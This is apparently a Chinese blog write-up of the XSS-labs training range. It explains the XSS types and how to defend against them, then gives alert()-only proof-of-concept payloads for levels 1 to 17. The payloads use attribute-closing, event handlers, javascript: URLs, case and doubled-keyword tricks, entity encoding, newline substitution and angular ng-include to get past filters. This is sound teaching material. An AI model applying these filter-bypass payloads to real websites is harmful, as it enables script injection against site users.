Web安全之Xss-labs通关笔记

XSS(Cross-site scripting跨站脚本)

跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表
(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击
缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码,当
用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,
从而达到恶意攻击用户的目的。

分类:

反射型XSS
    payload通常通过url传给后端,之后直接从后端输出到前端,没有存储到数据库中
存储型XSS
    payload传到某种存储介质中,如数据库,当用户请求时后端会将存储的 js
    代码返回到前端
DOM型XSS
   基于DOM(document object model)的xss漏洞, payload没有经过后端,而是直接通过前端处理后浏览器返回到页面上,是一种特殊的反射型XSS

防御:

客户端用户:
使用高版本浏览器
firefox使用CSP ,NoScript等扩展功能
个人安全软件

WEB开发人员:

过滤输入的恶意字符: 单引号,双引号,尖括号, on*等


对输出到页面的数据进行相应的编码转换,html实体编码,js编码


使用白名单过滤恶意字符

使用HttpOnly,禁止页面JS访问带有HttpOnly属性的cookie

 

 

Xss-labs过关条件:触发alert()

 

 

level1:

poc:?name=<script>alert(/xss/)</script>

 

level2:

查看页面源代码
闭合input框
poc:
"/><script>alert(/xss/)</script>

 

level3~4:

闭合加onclick事件

poc:
' onclick='alert()'
" onclick='alert()'

level5:

闭合+<a href=""></a>标签
"><a href="javascript:alert()">/xss/</a>

level6:

闭合+大小写绕过
"><a HREF="javascript:alert()">/xss/</a>

level7:

闭合加双写绕过
"oonnclick="alert()"

 

level8:

html编码绕过
javas&#67;ript:alert()

 

level9:

根据题目 构造任意的url链接
http://www.xxx.com
添加js代码
javas&#67;ript:alert()//
poc:
javas&#67;ript:alert()//http://www.xxx.com

 

level10:

查看源代码发现隐藏参数t_sort
fuzz发现过滤尖括号
构造poc
删除hidden属性或者添加type="text(语法特性只认前边的)
"onclick="alert()" type="text

level11-13:

HTTP头XSS
三处分别是Referer,UserAgent,cookie构造poc:
"onclick="alert()"type="text

 

level15:

查看页面源代码发现关键信息,引用了angular.js

要知道的是angularJS是一个JS框架
可以通过指令扩展HTML,通过表达式绑定数据到HTML
ng-include指令用于包含外部的文件
ng-include可以作为一个属性或一个元素使用

通过指令包含level1.php并传level1的poc
构造poc:
?src='level1.php?name=<img src=1 onerror=alert()>'

 

 level16:

先试下keyword=<scipt>alert()</script>
发现script被过滤

试下<img src=1 onerror=alert()>发现空格被替换成了&nbsp;
将空格替换为换行%0a后弹窗

 

poc:
?keyword=<img%0Asrc=1%0Aonerror=alert()>

level17:

发现arg01=a&arg02=b

两个变量都可控,添加js事件后弹窗

poc:

?arg01=a&arg02=b onmouseover=alert()

 

posted @ 2021-02-28 22:17  mrob0t  阅读(251)  评论(0编辑  收藏  举报